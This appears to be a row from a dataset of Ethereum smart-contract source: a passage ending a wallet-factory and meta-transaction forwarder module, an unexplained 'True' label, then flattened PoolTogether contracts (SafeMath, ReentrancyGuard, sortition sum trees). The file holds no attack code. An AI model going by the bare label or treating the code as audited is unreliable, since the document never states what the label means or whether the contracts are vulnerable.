bool _ensRegisterReverse,
address[] memory _modules,
bytes memory _signature
)
private
view
{
require(_owner != address(0) && !_owner.isContract(), "INVALID_OWNER");
require(_modules.length > 0, "EMPTY_MODULES");
bytes memory encodedRequest = abi.encode(
CREATE_WALLET_TYPEHASH,
_owner,
uint(_blankOrSalt),
keccak256(bytes(_ensLabel)),
keccak256(_ensApproval),
_ensRegisterReverse,
keccak256(abi.encode(_modules))
);
require(
EIP712.hashPacked(DOMAIN_SEPERATOR, encodedRequest)
.verifySignature(_owner, _signature),
"INVALID_SIGNATURE"
);
}
function initializeWallet_(
address _wallet,
address _owner,
string memory _ensLabel,
bytes memory _ensApproval,
bool _ensRegisterReverse,
bool _blankUsed
)
private
{
BaseWallet(_wallet.toPayable()).initOwner(_owner);
controller.walletRegistry().registerWallet(_wallet);
if (bytes(_ensLabel).length > 0) {
registerENS_(_wallet, _owner, _ensLabel, _ensApproval, _ensRegisterReverse);
} else {
require(allowEmptyENS, "EMPTY_ENS_NOT_ALLOWED");
}
emit WalletCreated(_wallet, _ensLabel, _owner, _blankUsed);
}
function computeAddress_(
address owner,
uint salt
)
internal
view
returns (address)
{
return Create2.computeAddress(
keccak256(abi.encodePacked(WALLET_CREATION, owner, salt)),
type(SimpleProxy).creationCode
);
}
function getCreationCode()
external
view
returns (bytes memory)
{
return type(SimpleProxy).creationCode;
}
function registerENS_(
address wallet,
address owner,
string memory ensLabel,
bytes memory ensApproval,
bool ensRegisterReverse
)
internal
{
require(
bytes(ensLabel).length > 0 &&
bytes(ensApproval).length > 0,
"INVALID_LABEL_OR_SIGNATURE"
);
BaseENSManager ensManager = controller.ensManager();
ensManager.register(wallet, owner, ensLabel, ensApproval);
if (ensRegisterReverse) {
bytes memory data = abi.encodeWithSelector(
ENSReverseRegistrar.claimWithResolver.selector,
address(0), // the owner of the reverse record
ensManager.ensResolver()
);
Wallet(wallet).transact(
uint8(1),
address(ensManager.getENSReverseRegistrar()),
0, // value
data
);
}
}
}
/// @title ForwarderModule
/// @dev A module to support wallet meta-transactions.
///
/// @author Daniel Wang - <[email protected]>
abstract contract ForwarderModule is BaseModule
{
using BytesUtil for bytes;
using MathUint for uint;
using SignatureUtil for bytes32;
uint public constant GAS_OVERHEAD = 100000;
bytes32 public FORWARDER_DOMAIN_SEPARATOR;
event MetaTxExecuted(
address relayer,
address from,
uint nonce,
bytes32 txAwareHash,
bool success,
uint gasUsed
);
struct MetaTx {
address from; // the wallet
address to;
uint nonce;
bytes32 txAwareHash;
address gasToken;
uint gasPrice;
uint gasLimit;
bytes data;
}
bytes32 constant public META_TX_TYPEHASH = keccak256(
"MetaTx(address from,address to,uint256 nonce,bytes32 txAwareHash,address gasToken,uint256 gasPrice,uint256 gasLimit,bytes data)"
);
function validateMetaTx(
address from, // the wallet
address to,
uint nonce,
bytes32 txAwareHash,
address gasToken,
uint gasPrice,
uint gasLimit,
bytes memory data,
bytes memory signature
)
public
view
{
// Since this contract is a module, we need to prevent wallet from interacting with
// Stores via this module. Therefore, we must carefully check the 'to' address as follows,
// so no Store can be used as 'to'.
require(
(to != address(this)) &&
controller().moduleRegistry().isModuleRegistered(to) ||
// We only allow the wallet to call itself to addModule
(to == from) &&
data.toBytes4(0) == Wallet.addModule.selector &&
controller().walletRegistry().isWalletRegistered(from) ||
to == controller().walletFactory(),
"INVALID_DESTINATION_OR_METHOD"
);
require(
nonce == 0 && txAwareHash != 0 ||
nonce != 0 && txAwareHash == 0,
"INVALID_NONCE"
);
bytes memory data_ = txAwareHash == 0 ? data : data.slice(0, 4); // function selector
bytes memory encoded = abi.encode(
META_TX_TYPEHASH,
from,
to,
nonce,
txAwareHash,
gasToken,
gasPrice,
gasLimit,
keccak256(data_)
);
bytes32 metaTxHash = EIP712.hashPacked(FORWARDER_DOMAIN_SEPARATOR, encoded);
require(metaTxHash.verifySignature(from, signature), "INVALID_SIGNATURE");
}
function executeMetaTx(
MetaTx calldata metaTx,
bytes calldata signature
)
external
nonReentrant
returns (
bool success,
bytes memory ret
)
{
uint gasLeft = gasleft();
checkSufficientGas(metaTx);
// The trick is to append the really logical message sender and the
// transaction-aware hash to the end of the call data.
(success, ret) = metaTx.to.call{gas : metaTx.gasLimit, value : 0}(
abi.encodePacked(metaTx.data, metaTx.from, metaTx.txAwareHash)
);
// It's ok to do the validation after the 'call'. This is also necessary
// in the case of creating the wallet, otherwise, wallet signature validation
// will fail before the wallet is created.
validateMetaTx(
metaTx.from,
metaTx.to,
metaTx.nonce,
metaTx.txAwareHash,
metaTx.gasToken,
metaTx.gasPrice,
metaTx.gasLimit,
metaTx.data,
signature
);
// Nonce update must come after the real transaction in case of new wallet creation.
if (metaTx.nonce != 0) {
controller().nonceStore().verifyAndUpdate(metaTx.from, metaTx.nonce);
}
uint gasUsed = gasLeft - gasleft();
emit MetaTxExecuted(
msg.sender,
metaTx.from,
metaTx.nonce,
metaTx.txAwareHash,
success,
gasUsed
);
// Fees are not to be charged by a relayer if the transaction fails with a
// non-zero txAwareHash. The reason is that relayer can pick arbitrary 'data'
// to make the transaction fail. Charging fees for such failures can drain
// wallet funds.
if (metaTx.gasPrice > 0 && (metaTx.txAwareHash == 0 || success)) {
uint gasAmount = gasUsed < metaTx.gasLimit ? gasUsed : metaTx.gasLimit;
// Do not consume quota when call factory's createWallet function or
// when a successful meta-tx's txAwareHash is non-zero (which means it will
// be signed by at least a guardian). Therefor, even if the owner's
// private key is leaked, the hacker won't be able to deplete ether/tokens
// as high meta-tx fees.
bool skipQuota = success && (
metaTx.txAwareHash != 0 || (
metaTx.data.toBytes4(0) == WalletFactory.createWallet.selector ||
metaTx.data.toBytes4(0) == WalletFactory.createWallet2.selector) &&
metaTx.to == controller().walletFactory()
);
reimburseGasFee(
metaTx.from,
controller().collectTo(),
metaTx.gasToken,
metaTx.gasPrice,
gasAmount.add(GAS_OVERHEAD),
skipQuota
);
}
}
function checkSufficientGas(
MetaTx calldata metaTx
)
private
view
{
// Check the relayer has enough Ether gas
uint gasLimit = (metaTx.gasLimit.mul(64) / 63).add(GAS_OVERHEAD);
require(gasleft() >= gasLimit, "OPERATOR_INSUFFICIENT_GAS");
// Check the wallet has enough meta tx gas
if (metaTx.gasPrice == 0) return;
uint gasCost = gasLimit.mul(metaTx.gasPrice);
if (metaTx.gasToken == address(0)) {
require(
metaTx.from.balance >= gasCost,
"WALLET_INSUFFICIENT_ETH_GAS"
);
} else {
require(
ERC20(metaTx.gasToken).balanceOf(metaTx.from) >= gasCost,
"WALLET_INSUFFICIENT_TOKEN_GAS"
);
}
}
}
/// @title FinalCoreModule
/// @dev This module combines multiple small modules to
/// minimize the number of modules to reduce gas used
/// by wallet creation.
contract FinalCoreModule is
ERC1271Module,
ForwarderModule
{
ControllerImpl private controller_;
constructor(ControllerImpl _controller)
{
FORWARDER_DOMAIN_SEPARATOR = EIP712.hash(
EIP712.Domain("ForwarderModule", "1.1.0", address(this))
);
controller_ = _controller;
}
function controller()
internal
view
override
returns(ControllerImpl)
{
return ControllerImpl(controller_);
}
function bindableMethods()
public
pure
override
returns (bytes4[] memory)
{
return bindableMethodsForERC1271();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-31
*/
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.5.12;
contract GemLike {
function allowance(address, address) public returns (uint);
function approve(address, uint) public;
function transfer(address, uint) public returns (bool);
function transferFrom(address, address, uint) public returns (bool);
}
contract ValueLike {
function peek() public returns (uint, bool);
}
contract SaiTubLike {
function skr() public view returns (GemLike);
function gem() public view returns (GemLike);
function gov() public view returns (GemLike);
function sai() public view returns (GemLike);
function pep() public view returns (ValueLike);
function vox() public view returns (VoxLike);
function bid(uint) public view returns (uint);
function ink(bytes32) public view returns (uint);
function tag() public view returns (uint);
function tab(bytes32) public returns (uint);
function rap(bytes32) public returns (uint);
function draw(bytes32, uint) public;
function shut(bytes32) public;
function exit(uint) public;
function give(bytes32, address) public;
}
contract VoxLike {
function par() public returns (uint);
}
contract JoinLike {
function ilk() public returns (bytes32);
function gem() public returns (GemLike);
function dai() public returns (GemLike);
function join(address, uint) public;
function exit(address, uint) public;
}
contract VatLike {
function ilks(bytes32) public view returns (uint, uint, uint, uint, uint);
function hope(address) public;
function frob(bytes32, address, address, address, int, int) public;
}
contract ManagerLike {
function vat() public view returns (address);
function urns(uint) public view returns (address);
function open(bytes32, address) public returns (uint);
function frob(uint, int, int) public;
function give(uint, address) public;
function move(uint, address, uint) public;
}
contract OtcLike {
function getPayAmount(address, address, uint) public view returns (uint);
function buyAllAmount(address, uint, address, uint) public;
}
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as `account`'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard is Initializable {
// counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
function initialize() public initializer {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
uint256[50] private ______gap;
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
contract ICErc20 {
address public underlying;
function mint(uint256 mintAmount) external returns (uint);
function redeemUnderlying(uint256 redeemAmount) external returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getCash() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
}
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
/**
* @author Brendan Asselstine
* @notice A library that uses entropy to select a random number within a bound. Compensates for modulo bias.
* @dev Thanks to https://medium.com/hownetworks/dont-waste-cycles-with-modulo-bias-35b6fdafcf94
*/
library UniformRandomNumber {
/// @notice Select a random number without modulo bias using a random seed and upper bound
/// @param _entropy The seed for randomness
/// @param _upperBound The upper bound of the desired number
/// @return A random number less than the _upperBound
function uniform(uint256 _entropy, uint256 _upperBound) internal pure returns (uint256) {
require(_upperBound > 0, "UniformRand/min-bound");
uint256 min = -_upperBound % _upperBound;
uint256 random = _entropy;
while (true) {
if (random >= min) {
break;
}
random = uint256(keccak256(abi.encodePacked(random)));
}
return random % _upperBound;
}
}
/**
* @reviewers: [@clesaege, @unknownunknown1, @ferittuncer]
* @auditors: []
* @bounties: [<14 days 10 ETH max payout>]
* @deployments: []
*/
/**
* @title SortitionSumTreeFactory
* @author Enrique Piqueras - <[email protected]>
* @dev A factory of trees that keep track of staked values for sortition.
*/
library SortitionSumTreeFactory {
/* Structs */
struct SortitionSumTree {
uint K; // The maximum number of childs per node.
// We use this to keep track of vacant positions in the tree after removing a leaf. This is for keeping the tree as balanced as possible without spending gas on moving nodes around.
uint[] stack;
uint[] nodes;
// Two-way mapping of IDs to node indexes. Note that node index 0 is reserved for the root node, and means the ID does not have a node.
mapping(bytes32 => uint) IDsToNodeIndexes;
mapping(uint => bytes32) nodeIndexesToIDs;
}
/* Storage */
struct SortitionSumTrees {
mapping(bytes32 => SortitionSumTree) sortitionSumTrees;
}
/* internal */
/**
* @dev Create a sortition sum tree at the specified key.
* @param _key The key of the new tree.
* @param _K The number of children each node in the tree should have.
*/
function createTree(SortitionSumTrees storage self, bytes32 _key, uint _K) internal {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
require(tree.K == 0, "Tree already exists.");
require(_K > 1, "K must be greater than one.");
tree.K = _K;
tree.stack.length = 0;
tree.nodes.length = 0;
tree.nodes.push(0);
}
/**
* @dev Set a value of a tree.
* @param _key The key of the tree.
* @param _value The new value.
* @param _ID The ID of the value.
* `O(log_k(n))` where
* `k` is the maximum number of childs per node in the tree,
* and `n` is the maximum number of nodes ever appended.
*/
function set(SortitionSumTrees storage self, bytes32 _key, uint _value, bytes32 _ID) internal {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint treeIndex = tree.IDsToNodeIndexes[_ID];
if (treeIndex == 0) { // No existing node.
if (_value != 0) { // Non zero value.
// Append.
// Add node.
if (tree.stack.length == 0) { // No vacant spots.
// Get the index and append the value.
treeIndex = tree.nodes.length;
tree.nodes.push(_value);
// Potentially append a new node and make the parent a sum node.
if (treeIndex != 1 && (treeIndex - 1) % tree.K == 0) { // Is first child.
uint parentIndex = treeIndex / tree.K;
bytes32 parentID = tree.nodeIndexesToIDs[parentIndex];
uint newIndex = treeIndex + 1;
tree.nodes.push(tree.nodes[parentIndex]);
delete tree.nodeIndexesToIDs[parentIndex];
tree.IDsToNodeIndexes[parentID] = newIndex;
tree.nodeIndexesToIDs[newIndex] = parentID;
}
} else { // Some vacant spot.
// Pop the stack and append the value.
treeIndex = tree.stack[tree.stack.length - 1];
tree.stack.length--;
tree.nodes[treeIndex] = _value;
}
// Add label.
tree.IDsToNodeIndexes[_ID] = treeIndex;
tree.nodeIndexesToIDs[treeIndex] = _ID;
updateParents(self, _key, treeIndex, true, _value);
}
} else { // Existing node.
if (_value == 0) { // Zero value.
// Remove.
// Remember value and set to 0.
uint value = tree.nodes[treeIndex];
tree.nodes[treeIndex] = 0;
// Push to stack.
tree.stack.push(treeIndex);
// Clear label.
delete tree.IDsToNodeIndexes[_ID];
delete tree.nodeIndexesToIDs[treeIndex];
updateParents(self, _key, treeIndex, false, value);
} else if (_value != tree.nodes[treeIndex]) { // New, non zero value.
// Set.
bool plusOrMinus = tree.nodes[treeIndex] <= _value;
uint plusOrMinusValue = plusOrMinus ? _value - tree.nodes[treeIndex] : tree.nodes[treeIndex] - _value;
tree.nodes[treeIndex] = _value;
updateParents(self, _key, treeIndex, plusOrMinus, plusOrMinusValue);
}
}
}
/* internal Views */
/**
* @dev Query the leaves of a tree. Note that if `startIndex == 0`, the tree is empty and the root node will be returned.
* @param _key The key of the tree to get the leaves from.
* @param _cursor The pagination cursor.
* @param _count The number of items to return.
* @return The index at which leaves start, the values of the returned leaves, and whether there are more for pagination.
* `O(n)` where
* `n` is the maximum number of nodes ever appended.
*/
function queryLeafs(
SortitionSumTrees storage self,
bytes32 _key,
uint _cursor,
uint _count
) internal view returns(uint startIndex, uint[] memory values, bool hasMore) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
// Find the start index.
for (uint i = 0; i < tree.nodes.length; i++) {
if ((tree.K * i) + 1 >= tree.nodes.length) {
startIndex = i;
break;
}
}
// Get the values.
uint loopStartIndex = startIndex + _cursor;
values = new uint[](loopStartIndex + _count > tree.nodes.length ? tree.nodes.length - loopStartIndex : _count);
uint valuesIndex = 0;
for (uint j = loopStartIndex; j < tree.nodes.length; j++) {
if (valuesIndex < _count) {
values[valuesIndex] = tree.nodes[j];
valuesIndex++;
} else {
hasMore = true;
break;
}
}
}
/**
* @dev Draw an ID from a tree using a number. Note that this function reverts if the sum of all values in the tree is 0.
* @param _key The key of the tree.
* @param _drawnNumber The drawn number.
* @return The drawn ID.
* `O(k * log_k(n))` where
* `k` is the maximum number of childs per node in the tree,
* and `n` is the maximum number of nodes ever appended.
*/
function draw(SortitionSumTrees storage self, bytes32 _key, uint _drawnNumber) internal view returns(bytes32 ID) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint treeIndex = 0;
uint currentDrawnNumber = _drawnNumber % tree.nodes[0];
while ((tree.K * treeIndex) + 1 < tree.nodes.length) // While it still has children.
for (uint i = 1; i <= tree.K; i++) { // Loop over children.
uint nodeIndex = (tree.K * treeIndex) + i;
uint nodeValue = tree.nodes[nodeIndex];
if (currentDrawnNumber >= nodeValue) currentDrawnNumber -= nodeValue; // Go to the next child.
else { // Pick this child.
treeIndex = nodeIndex;
break;
}
}
ID = tree.nodeIndexesToIDs[treeIndex];
}
/** @dev Gets a specified ID's associated value.
* @param _key The key of the tree.
* @param _ID The ID of the value.
* @return The associated value.
*/
function stakeOf(SortitionSumTrees storage self, bytes32 _key, bytes32 _ID) internal view returns(uint value) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint treeIndex = tree.IDsToNodeIndexes[_ID];
if (treeIndex == 0) value = 0;
else value = tree.nodes[treeIndex];
}
function total(SortitionSumTrees storage self, bytes32 _key) internal view returns (uint) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
if (tree.nodes.length == 0) {
return 0;
} else {
return tree.nodes[0];
